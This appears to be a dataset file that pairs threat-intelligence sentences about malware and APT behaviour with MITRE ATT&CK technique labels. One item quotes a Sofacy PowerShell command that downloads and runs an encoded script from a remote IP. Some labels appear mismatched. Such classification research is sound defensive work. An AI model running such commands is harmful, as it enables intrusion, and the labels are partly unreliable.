HoangCuongNguyen/CTI-to-MITRE-dataset huggingface dataset:
Bandook is delivered via a malicious Word document inside a zip file.
Technique: T1566: Phishing
BLUELIGHT can zip files before exfiltration.
Technique: T1560: Archive Collected Data
The Trojan will save the output of the command to %TEMP%\win<random number>.txt and send the contents to the C2 server or “The length of Cmd result file is ziro!” if the command was unsuccessful
Technique: T1059: Command and Scripting Interpreter
Conficker has obfuscated its code to prevent its removal from host machines.
Technique: T1027: Obfuscated Files or Information
APT18 can upload a file to the victim’s machine.
Technique: T1105: Ingress Tool Transfer
PowerStallion has been used to monitor process lists.
Technique: T1057: Process Discovery
Turla has obtained information on security software, including security logging information that may indicate whether their malware has been detected.
Technique: T1518: Software Discovery
Mustang Panda has used vssadmin to create a volume shadow copy and retrieve the NTDS.dit file.
Technique: T1003: OS Credential Dumping
Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
Technique: T1542: Pre-OS Boot
WIRTE has used Regsvr32.exe to trigger the execution of a malicious script.
Technique: T1218: Signed Binary Proxy Execution
11 AV detection If there is no Avast install present, the script proceeds to the final .dll execution using regsvr32 and quits
Technique: T1218: Signed Binary Proxy Execution
Adversaries may search freely available technical databases for information about victims that can be used during targeting.
Technique: T1596: Search Open Technical Databases
The CozyCar configuration file has been encrypted with RC4 keys.
Technique: T1027: Obfuscated Files or Information
SUNBURST attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.
Technique: T1562: Impair Defenses
Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.
Technique: T1556: Modify Authentication Process
The White Company has sent phishing emails with malicious Microsoft Word attachments to victims.
Technique: T1566: Phishing
/sbin/emond 
Technique: T1546: Event Triggered Execution
After encrypting its own log files, the log encryption module in Prikormka deletes the original, unencrypted files from the host.
Technique: T1070: Indicator Removal on Host
Systemd timers may be activated remotely via the systemctl command line utility, which operates over SSH.
Technique: T1053: Scheduled Task/Job
AppleJeus has required user execution of a malicious MSI installer.
Technique: T1204: User Execution
CosmicDuke steals user files from network shared drives with file extensions and keywords that match a predefined list.
Technique: T1039: Data from Network Shared Drive
Hildegard has modified DNS resolvers to evade DNS monitoring tools.
Technique: T1562: Impair Defenses
As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.
Technique: T1587: Develop Capabilities
boom! Deletes GID.bin, ShwDoc.VBS and ShwDoc.srv files, as well as the scheduled task whose name a GUID stored in the GID.bin file
Technique: T1070: Indicator Removal on Host
Adversaries use launchctl to execute commands and programs as Launch Agents or Launch Daemons.
Technique: T1569: System Services
Sibot has been executed via a scheduled task.
Technique: T1053: Scheduled Task/Job
The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions.
Technique: T1059: Command and Scripting Interpreter
DarkHydrus leveraged PowerShell to download and execute additional scripts for execution.
Technique: T1059: Command and Scripting Interpreter
POWERSTATS can upload files from compromised hosts.
Technique: T1005: Data from Local System
UNC2452 routinely removed their tools, including custom backdoors, once remote access was achieved.
Technique: T1070: Indicator Removal on Host
RTM monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.
Technique: T1119: Automated Collection
Examples include ListObjectsV2 in AWS  and List Blobs in Azure .
Technique: T1619: Cloud Storage Object Discovery
Skidmap has checked for the existence of specific files including /usr/sbin/setenforce and  /etc/selinux/config.
Technique: T1083: File and Directory Discovery
Kazuar captures screenshots of the victim’s screen.
Technique: T1113: Screen Capture
BADNEWS creates a scheduled task to establish by executing a malicious payload every subsequent minute.
Technique: T1053: Scheduled Task/Job
RainyDay can use a file exfiltration tool to copy files to C:\ProgramData\Adobe\temp prior to exfiltration.
Technique: T1074: Data Staged
In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.
Technique: T1176: Browser Extensions
Lazarus Group leveraged Mimikatz to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers.
Technique: T1003: OS Credential Dumping
Epic uses the tasklist /svc command to list the services on the system.
Technique: T1007: System Service Discovery
Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.
Technique: T1546: Event Triggered Execution
APT29 has registered algorithmically generated Twitter handles that are used for C2 by malware, such as HAMMERTOSS.
Technique: T1583: Acquire Infrastructure
Mustang Panda has used 'adobeupdate.dat' as a PlugX loader, and a file named 'OneDrive.exe' to load a Cobalt Strike payload.
Technique: T1036: Masquerading
AppleSeed can disguise JavaScript files as PDFs.
Technique: T1036: Masquerading
REvil has used encrypted strings and configuration files.
Technique: T1027: Obfuscated Files or Information
PowerDuke has a command to download a file.
Technique: T1105: Ingress Tool Transfer
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages   to provide a layer of abstraction between API functions and files.
Technique: T1553: Subvert Trust Controls
Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect.
Technique: T1132: Data Encoding
From the 185.25.50[.]93 C2 IP, we discovered another hard-coded user agent being used by Zebrocy: Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation
Technique: T1543: Create or Modify System Process
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning  or Phishing for Information.
Technique: T1592: Gather Victim Host Information
Operation Wocao can download additional files to the infected system.
Technique: T1105: Ingress Tool Transfer
Attor has used FTP protocol for C2 communication.
Technique: T1071: Application Layer Protocol
Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.
Technique: T1559: Inter-Process Communication
The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -Whidden $e=(New-ObjectSystem.Net.webClient).downloadString('hxxp://92.114.92[.]102:80/d');powershell -enc $e #     The unused command above appears to be related to previous attacks, specifically attacks that occurred in November 2017 as discussed by McAfee and ESET
Technique: T1546: Event Triggered Execution
LoadPackagedLibrary() 
Technique: T1106: Native API
Turian has the ability to use HTTP for its C2.
Technique: T1071: Application Layer Protocol
The attackers used spear phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite
Technique: T1566: Phishing
Cobalt Group has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations.
Technique: T1566: Phishing
XCSSET uses the chmod +x command to grant executable permissions to the malicious file.
Technique: T1222: File and Directory Permissions Modification
APT28 has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key HKCU\Software\Microsoft\Office test\Special\Perf to execute code.
Technique: T1137: Office Application Startup
Ragnar Locker has attempted to terminate/stop processes and services associated with endpoint security products.
Technique: T1562: Impair Defenses
PUNCHBUGGY has used python scripts.
Technique: T1059: Command and Scripting Interpreter
Attor's dispatcher can be executed as a service.
Technique: T1569: System Services
Aria-body has the ability to gather metadata from a file and to search for file and directory names.
Technique: T1083: File and Directory Discovery
We recently mentioned this tool in another report on April 16, as this variant of the BONDUPDATER tool used DNS tunneling to communicate with its C2, specifically using TXT queries to receive information from the C2 server
Technique: T1071: Application Layer Protocol
Regin leveraged several compromised universities as proxies to obscure its origin.
Technique: T1090: Proxy
MURKYTOP has the capability to scan for open ports on hosts in a connected network.
Technique: T1046: Network Service Scanning
APT41 deleted files from the system.
Technique: T1070: Indicator Removal on Host
FIVEHANDS has the ability to enumerate files on a compromised host in order to encrypt files with specific extensions.
Technique: T1083: File and Directory Discovery
Naikon has disguised malicious programs as Google Chrome, Adobe, and VMware executables.
Technique: T1036: Masquerading
S-Type may create a temporary user on the system named “Lost_{Unique Identifier}” with the password “pond~!
Technique: T1136: Create Account
PipeMon can use parent PID spoofing to elevate privileges.
Technique: T1134: Access Token Manipulation
WINDSHIELD is capable of file deletion along with other file system interaction.
Technique: T1070: Indicator Removal on Host
An adversary may rely upon a user opening a malicious file in order to gain execution.
Technique: T1204: User Execution
Command and Control Infrastructure: Compromised servers, messaging platforms, and cloud service providers to avoid detection
Technique: T1102: Web Service
In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.
Technique: T1027: Obfuscated Files or Information
Leviathan has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.
Technique: T1102: Web Service
Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server
Technique: T1071: Application Layer Protocol
FinFisher checks if the victim OS is 32 or 64-bit.
Technique: T1082: System Information Discovery
MESSAGETAP checks two files, keyword_parm.txt and parm.txt, for instructions on how to target and save data parsed and extracted from SMS message data from the network traffic.
Technique: T1119: Automated Collection
This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Technique: T1485: Data Destruction
Gamaredon Group tools can delete files used during an infection.
Technique: T1070: Indicator Removal on Host
Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications.
Technique: T1546: Event Triggered Execution
Silence has sent emails with malicious DOCX, CHM, LNK and ZIP attachments.
Technique: T1566: Phishing
It also collects the system's MAC address with getmac and domain configuration with net config workstation.
Technique: T1016: System Network Configuration Discovery
System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model  object can be registered as a profiler DLL.
Technique: T1574: Hijack Execution Flow
Volgmer can gather system information, the computer name, OS version, drive and serial information from the victim's machine.
Technique: T1082: System Information Discovery
Gamaredon Group's malware can take screenshots of the compromised computer every minute.
Technique: T1113: Screen Capture
SHOTPUT is obscured using XOR encoding and appended to a valid GIF file.
Technique: T1027: Obfuscated Files or Information
When the file is executed, the ThiefQuest code is executed first.
Technique: T1554: Compromise Client Software Binary
Gamaredon Group has used DOCX files to download malicious DOT document templates.
Technique: T1221: Template Injection
SMOKEDHAM has encrypted its C2 traffic with RC4.
Technique: T1573: Encrypted Channel
APT39 has used malware to decrypt encrypted CAB files.
Technique: T1140: Deobfuscate/Decode Files or Information
SDBbot has the ability to determine the domain name and whether a proxy is configured on a compromised host.
Technique: T1016: System Network Configuration Discovery
Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.
Technique: T1137: Office Application Startup
Rocke has used Pastebin, Gitee, and GitLab for Command and Control.
Technique: T1102: Web Service
LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.
Technique: T1574: Hijack Execution Flow
InvisiMole can use a modified base32 encoding to encode data within the subdomain of C2 requests.
Technique: T1132: Data Encoding
GALLIUM used a modified version of HTRAN to redirect connections between networks.
Technique: T1090: Proxy
Emotet has used custom packers to protect its payloads.
Technique: T1027: Obfuscated Files or Information
FIVEHANDS has the ability to delete volume shadow copies on compromised hosts.
Technique: T1490: Inhibit System Recovery
InvisiMole gathers information on the IP forwarding table, MAC address, configured proxy, and network SSID.
Technique: T1016: System Network Configuration Discovery
NETWIRE can retrieve passwords from messaging and mail client applications.
Technique: T1555: Credentials from Password Stores
In the event this is successful, the malware will use the following path to store any dropped files:  %COMMONPROGRAMFILES%\services\  In the event it is not successful, this alternative path will be used instead:  %APPDATA%\microsoft\mmc\  Reaver.v2 proceeds to decrypt an embedded file using a simple XOR obfuscation routine
Technique: T1140: Deobfuscate/Decode Files or Information
HTTPBrowser abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.
Technique: T1574: Hijack Execution Flow
For that we can use a Python script, included in Appendix B – Python Scripts
Technique: T1059: Command and Scripting Interpreter
HotCroissant has the ability to collect the username on the infected host.
Technique: T1033: System Owner/User Discovery
WastedLocker checked if UCOMIEnumConnections and IActiveScriptParseProcedure32 Registry keys were detected as part of its anti-analysis technique.
Technique: T1497: Virtualization/Sandbox Evasion
Valak has the ability to base64 encode and XOR encrypt strings.
Technique: T1027: Obfuscated Files or Information
Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation.
Technique: T1584: Compromise Infrastructure
PowerDuke has commands to get the time the machine was built, the time, and the time zone.
Technique: T1124: System Time Discovery
Astaroth collects information from the clipboard by using the OpenClipboard and GetClipboardData libraries.
Technique: T1115: Clipboard Data
Stolen code signing certificates used to sign malware
Technique: T1553: Subvert Trust Controls
HELLOKITTY can use an embedded RSA-2048 public key to encrypt victim data for ransom.
Technique: T1486: Data Encrypted for Impact
Figure 3 Targeted lure content In one of the documents, the victim is presented with what appears to be an obfuscated document with the NATO EOD seal and text alluding to the targeted nation state
Technique: T1027: Obfuscated Files or Information
Zebrocy uses SSL and AES ECB for encrypting C2 communications.
Technique: T1573: Encrypted Channel
Dtrack can collect the RegisteredOwner, RegisteredOrganization, and InstallDate registry values.
Technique: T1012: Query Registry
This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.
Technique: T1480: Execution Guardrails
Spark can use cmd.exe to run commands.
Technique: T1059: Command and Scripting Interpreter
APT41 created a RAR archive of targeted files for exfiltration.
Technique: T1560: Archive Collected Data
Similar to Regsvr32, odbcconf.exe has a REGSVR flag that can be misused to execute DLLs .
Technique: T1218: Signed Binary Proxy Execution
PipeMon has used a call to LoadLibrary to load its installer.
Technique: T1106: Native API
UNC2452 removed evidence of email export requests using Remove-MailboxExportRequest.
Technique: T1070: Indicator Removal on Host
Zebrocy uses the tasklist and wmic process get Capture, ExecutablePath commands to gather the processes running on the system.
Technique: T1057: Process Discovery
Evilnum has used malicious JavaScript files on the victim's machine.
Technique: T1059: Command and Scripting Interpreter
StreamEx establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.
Technique: T1543: Create or Modify System Process
If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.
Technique: T1555: Credentials from Password Stores
Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.
Technique: T1480: Execution Guardrails
MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.
Technique: T1566: Phishing
Octopus has been delivered via spearsphishing emails.
Technique: T1566: Phishing
Astaroth can check for Windows product ID's used by sandboxes and usernames and disk serial numbers associated with analyst environments.
Technique: T1497: Virtualization/Sandbox Evasion
Adversaries may modify file time attributes to hide new or changes to existing files.
Technique: T1070: Indicator Removal on Host
njRAT can access the victim's webcam.
Technique: T1125: Video Capture
Sandworm Team has disabled event logging on compromised systems.
Technique: T1562: Impair Defenses
DarkHydrus used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable Forced Authentication.
Technique: T1221: Template Injection
Magic Hound has obtained and used open-source penetration testing tools like Havij, sqlmap, Metasploit, and Mimikatz.
Technique: T1588: Obtain Capabilities
W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.
Technique: T1547: Boot or Logon Autostart Execution
There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code      
Mshta.exe is a utility that executes Microsoft HTML Applications  files.
Technique: T1218: Signed Binary Proxy Execution
Extensible Stylesheet Language  files are commonly used to describe the processing and rendering of data within XML files.
Technique: T1220: XSL Script Processing
TrickBot has used printf and file I/O loops to delay process execution as part of API hammering.
Technique: T1497: Virtualization/Sandbox Evasion
APT28 has used IMAP, POP3, and SMTP for a communication channel in various implants, including using self-registered Google Mail accounts and later compromised email servers of its victims.
Technique: T1071: Application Layer Protocol
Ursnif has used tmp files to stage gathered information.
Technique: T1074: Data Staged
For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.
Technique: T1497: Virtualization/Sandbox Evasion
Twitoor uses Twitter for command and control.
Technique: T1102: Web Service
Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code.
Technique: T1053: Scheduled Task/Job
Inception used a browser plugin to steal passwords and sessions from Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex.
Technique: T1555: Credentials from Password Stores
Cobalt Group has used HTTPS for C2.
Technique: T1071: Application Layer Protocol
OopsIE also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.
Technique: T1027: Obfuscated Files or Information
Grandoreiro can identify installed security tools based on window names.
Technique: T1010: Application Window Discovery
Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.
Technique: T1003: OS Credential Dumping
TrickBot can gather information about domain trusts by utilizing Nltest.
Technique: T1482: Domain Trust Discovery
Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges.
Technique: T1547: Boot or Logon Autostart Execution
Cobalt Group used the Ammyy Admin tool as well as TeamViewer for remote access, including to preserve remote access if a Cobalt Strike module was lost.
Technique: T1219: Remote Access Software
Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.
Technique: T1555: Credentials from Password Stores
Mivast creates the following Registry entry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micromedia.
Technique: T1547: Boot or Logon Autostart Execution
An older variant of PLAINTEE performs UAC bypass.
Technique: T1548: Abuse Elevation Control Mechanism
Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol  server.
Technique: T1542: Pre-OS Boot
LightNeuron gathers information about network adapters using the Win32 API call GetAdaptersInfo.
Technique: T1016: System Network Configuration Discovery
The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.
Technique: T1574: Hijack Execution Flow
Emotet has been seen exfiltrating system information stored within cookies sent within an HTTP GET request back to its C2 servers.
Technique: T1041: Exfiltration Over C2 Channel
Patchwork bypassed User Access Control .
Technique: T1548: Abuse Elevation Control Mechanism
Egregor has used multiple anti-analysis and anti-sandbox techniques to prevent automated analysis by sandboxes.
Technique: T1497: Virtualization/Sandbox Evasion
The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses.
Technique: T1566: Phishing
Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data
Technique: T1027: Obfuscated Files or Information
The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset.
Technique: T1602: Data from Configuration Repository
A module in Prikormka collects information from the victim about the current user name.
Technique: T1033: System Owner/User Discovery
Lucifer can collect the IP address of a compromised host.
Technique: T1016: System Network Configuration Discovery
Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.
Technique: T1037: Boot or Logon Initialization Scripts
Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started.
Technique: T1137: Office Application Startup
AutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader.
Technique: T1059: Command and Scripting Interpreter
DropBook can execute arbitrary shell commands on the victims' machines.
Technique: T1059: Command and Scripting Interpreter
Winnti for Linux has used ICMP, custom TCP, and UDP in outbound communications.
Technique: T1095: Non-Application Layer Protocol
WINERACK can gather information on the victim username.
Technique: T1033: System Owner/User Discovery
Agent Tesla has the ability to steal credentials from FTP clients and wireless profiles.
Technique: T1555: Credentials from Password Stores
Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use.
Technique: T1554: Compromise Client Software Binary
httpclient uses HTTP for command and control.
Technique: T1071: Application Layer Protocol
An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.
Technique: T1219: Remote Access Software
Kwampirs collects a list of available servers with the command net view.
Technique: T1018: Remote System Discovery
The technique of having a signed, legitimate, executable load a malicious library is commonly referred to as side-loading, and has been witnessed in a number of campaigns and malware families in the past
Technique: T1574: Hijack Execution Flow
FIN7 malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.
Technique: T1547: Boot or Logon Autostart Execution
Create Service
Technique: T1543: Create or Modify System Process
TYPEFRAME can execute commands using a shell.
Technique: T1059: Command and Scripting Interpreter
NETWIRE can use XDG Autostart Entries to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
Ixeshe can collect data from a local system.
Technique: T1005: Data from Local System
ROKRAT can request to upload collected host data and additional files.
Technique: T1005: Data from Local System
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts.
Technique: T1046: Network Service Scanning
Bandook has modules that are capable of capturing audio.
Technique: T1123: Audio Capture
and then deletes the original launcher
Technique: T1070: Indicator Removal on Host
ComRAT has used cmd.exe to execute commands.
Technique: T1059: Command and Scripting Interpreter
Fox Kitten has used PowerShell scripts to access credential data.
Technique: T1059: Command and Scripting Interpreter
Using rundll32.exe, vice executing directly  Shared Modules, may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations.
Technique: T1218: Signed Binary Proxy Execution
Adversaries may attempt to get a listing of domain accounts.
Technique: T1087: Account Discovery
APT3 has a tool that can enumerate current network connections.
Technique: T1049: System Network Connections Discovery
Revenge RAT uses Base64 to encode information sent to the C2 server.
Technique: T1132: Data Encoding
Its encoding method has been modified from time to time, aligned with major upgrade of PlugX itself
Technique: T1124: System Time Discovery
SYSCON has the ability to use Tasklist to list running processes.
Technique: T1057: Process Discovery
Bundlore can execute JavaScript by injecting it into the victim's browser.
Technique: T1059: Command and Scripting Interpreter
The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars
Technique: T1566: Phishing
It will also gather the username of running processes to determine if it is running as SYSTEM.
Technique: T1033: System Owner/User Discovery
ZLib communicates over HTTP for C2.
Technique: T1071: Application Layer Protocol
StrongPity has used encrypted strings in its dropper component.
Technique: T1027: Obfuscated Files or Information
GrimAgent can delete old binaries on a compromised host.
Technique: T1070: Indicator Removal on Host
Machete is written in Python and is used in conjunction with additional Python scripts.
Technique: T1059: Command and Scripting Interpreter
In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster.
Technique: T1036: Masquerading
Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.
Technique: T1543: Create or Modify System Process
FIN8 aggregates staged data from a network into a single location.
Technique: T1074: Data Staged
Fysbis has the ability to create and execute commands in a remote shell for CLI.
Technique: T1059: Command and Scripting Interpreter
Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.
Technique: T1555: Credentials from Password Stores
APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious link.
Technique: T1204: User Execution
Unique SIPs exist for most file formats  and are identified by globally unique identifiers .
Technique: T1553: Subvert Trust Controls
Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.
Technique: T1499: Endpoint Denial of Service
Crutch can monitor removable drives and exfiltrate files matching a given extension list.
Technique: T1025: Data from Removable Media
AppleSeed can zip and encrypt data collected on a target system.
Technique: T1560: Archive Collected Data
EnvyScout can determine whether the ISO payload was received by a Windows or iOS device.
Technique: T1082: System Information Discovery
Multiple ways of delivering exploit code to a browser exist, including:
* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
Technique: T1189: Drive-by Compromise
Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet.
Technique: T1220: XSL Script Processing
A multilayered approach is a must to securing the organization’s perimeter, especially for information security professionals and system/IT administrators
Technique: T1082: System Information Discovery
yty gets an output of running processes using the tasklist command.
Technique: T1057: Process Discovery
Machete has the capability to exfiltrate stolen data to a hidden folder on a removable drive.
Technique: T1564: Hide Artifacts
Aria-body has the ability to identify the titles of running windows on a compromised host.
Technique: T1010: Application Window Discovery
ZeroT has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit  steganography.
Technique: T1001: Data Obfuscation
Decrypted backdoor configuration Reverse analysis of TClient allowed us to determine how to decrypt the C&C information
Technique: T1140: Deobfuscate/Decode Files or Information
FakeM contains a keylogger module.
Technique: T1056: Input Capture
The PE compile time of loaders and the create time of droppers (Word documents) are plotted in the graph
Technique: T1124: System Time Discovery
PolyglotDuke has has used HTTP GET requests in C2 communications.
Technique: T1071: Application Layer Protocol
Destructive dstr command in BE2 config file Also, on some machines, documents were encrypted, but no related plugin could be found
Technique: T1027: Obfuscated Files or Information
Anchor has come with a packed payload.
Technique: T1027: Obfuscated Files or Information
MacSpy persists via a Launch Agent.
Technique: T1543: Create or Modify System Process
However, the campaign that the PDC has recently observed has been delivering this keylogger exclusively
Technique: T1056: Input Capture
Usually this series of packets consists of attempted connections to a predefined sequence of closed ports  Port Knocking, but can involve unusual flags, specific strings, or other unique characteristics.
Technique: T1205: Traffic Signaling
FIN8 has distributed targeted emails containing Word documents with embedded malicious macros.
Technique: T1566: Phishing
Taidoor has been delivered through spearphishing emails.
Technique: T1566: Phishing
Later implants used by APT28, such as CHOPSTICK, use a blend of HTTP, HTTPS, and other legitimate channels for C2, depending on module configuration.
Technique: T1071: Application Layer Protocol
Adversaries may use these login hooks to maintain persistence on a single system.
Technique: T1037: Boot or Logon Initialization Scripts
MURKYTOP: a command-line reconnaissance tool
Technique: T1059: Command and Scripting Interpreter
TAINTEDSCRIBE can change the timestamp of specified filenames.
Technique: T1070: Indicator Removal on Host
A number of PowerShell-based offensive testing tools are available, including Empire,  PowerSploit, PoshC2, and PSAttack.
Technique: T1059: Command and Scripting Interpreter
MESSAGETAP stored targeted SMS messages that matched its target list in CSV files on the compromised system.
Technique: T1074: Data Staged
Sandworm Team has used Dropbear SSH with a hardcoded backdoor password to maintain persistence within the target network.
Technique: T1133: External Remote Services
The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”
Technique: T1566: Phishing
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible .
Technique: T1489: Service Stop
Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
Technique: T1561: Disk Wipe
Adversaries may target the Management Information Base  to collect and/or mine valuable information in a network managed using Simple Network Management Protocol .
Technique: T1602: Data from Configuration Repository
Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Technique: T1083: File and Directory Discovery
Additionally, it searches for the ".vnc.lnk" affix to steal VNC credentials.
Technique: T1552: Unsecured Credentials
At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\ProgramData\Apple\Update\, likely as a ruse
Technique: T1564: Hide Artifacts
RedLeaves is capable of downloading a file from a specified URL.
Technique: T1105: Ingress Tool Transfer
Lucifer can execute TCP, UDP,  and HTTP denial of service  attacks.
Technique: T1498: Network Denial of Service
Figure 6 shows the Glimpse server responding to an inbound beacon from the Glimpse agent and sending a command whoami
Technique: T1033: System Owner/User Discovery
Cobian RAT creates an autostart Registry key to ensure persistence.
Technique: T1547: Boot or Logon Autostart Execution
The mericcs.org domain was used as the sender address, as well as the hosting location of the malicious RTF document
Technique: T1016: System Network Configuration Discovery
rundll32.exe
Technique: T1218: Signed Binary Proxy Execution
Azorult can dump credentials from victim browsers.
Technique: T1003: OS Credential Dumping
In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.
Technique: T1001: Data Obfuscation
The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.
Technique: T1546: Event Triggered Execution
Elise communicates over HTTP or HTTPS for C2.
Technique: T1071: Application Layer Protocol
RogueRobin establishes persistence by creating a shortcut  in the Windows startup folder to run a script each time the user logs in.
Technique: T1547: Boot or Logon Autostart Execution
Adversaries may leverage the AiTM position to attempt to modify traffic, such as in Transmitted Data Manipulation.
Technique: T1557: Adversary-in-the-Middle
FinFisher obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list in order to check for sandbox/virtualized environments.
Technique: T1497: Virtualization/Sandbox Evasion
SMOKEDHAM has relied upon users clicking on a malicious link delivered through phishing.
Technique: T1204: User Execution
Penquin can execute remote commands using bash scripts.
Technique: T1059: Command and Scripting Interpreter
Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access.
Technique: T1204: User Execution
Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems.
Technique: T1212: Exploitation for Credential Access
WastedLocker has performed DLL hijacking before execution.
Technique: T1574: Hijack Execution Flow
AppleJeus has been distributed via spearphishing link.
Technique: T1566: Phishing
APT32 has set up and operated websites to gather information and deliver malware.
Technique: T1583: Acquire Infrastructure
Adversaries may abuse Visual Basic  for execution.
Technique: T1059: Command and Scripting Interpreter
HotCroissant has the ability to list the names of all open windows on the infected host.
Technique: T1010: Application Window Discovery
SUNBURST collected the username from a compromised host.
Technique: T1033: System Owner/User Discovery
Cobalt Strike's Beacon payload can collect information on process details.
Technique: T1057: Process Discovery
However, certain shims can be used to Bypass User Account Control , inject DLLs into processes , disable Data Execution Prevention  and Structure Exception Handling , and intercept memory addresses .
Technique: T1546: Event Triggered Execution
Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence.
Technique: T1037: Boot or Logon Initialization Scripts
Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Technique: T1090: Proxy
Shamoon obtains the system time and will only activate if it is greater than a preset date.
Technique: T1124: System Time Discovery
Gold Dragon enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
Technique: T1012: Query Registry
Tropic Trooper has attempted to transfer USBferry from an infected USB device by copying an Autorun function to the target machine.
Technique: T1091: Replication Through Removable Media
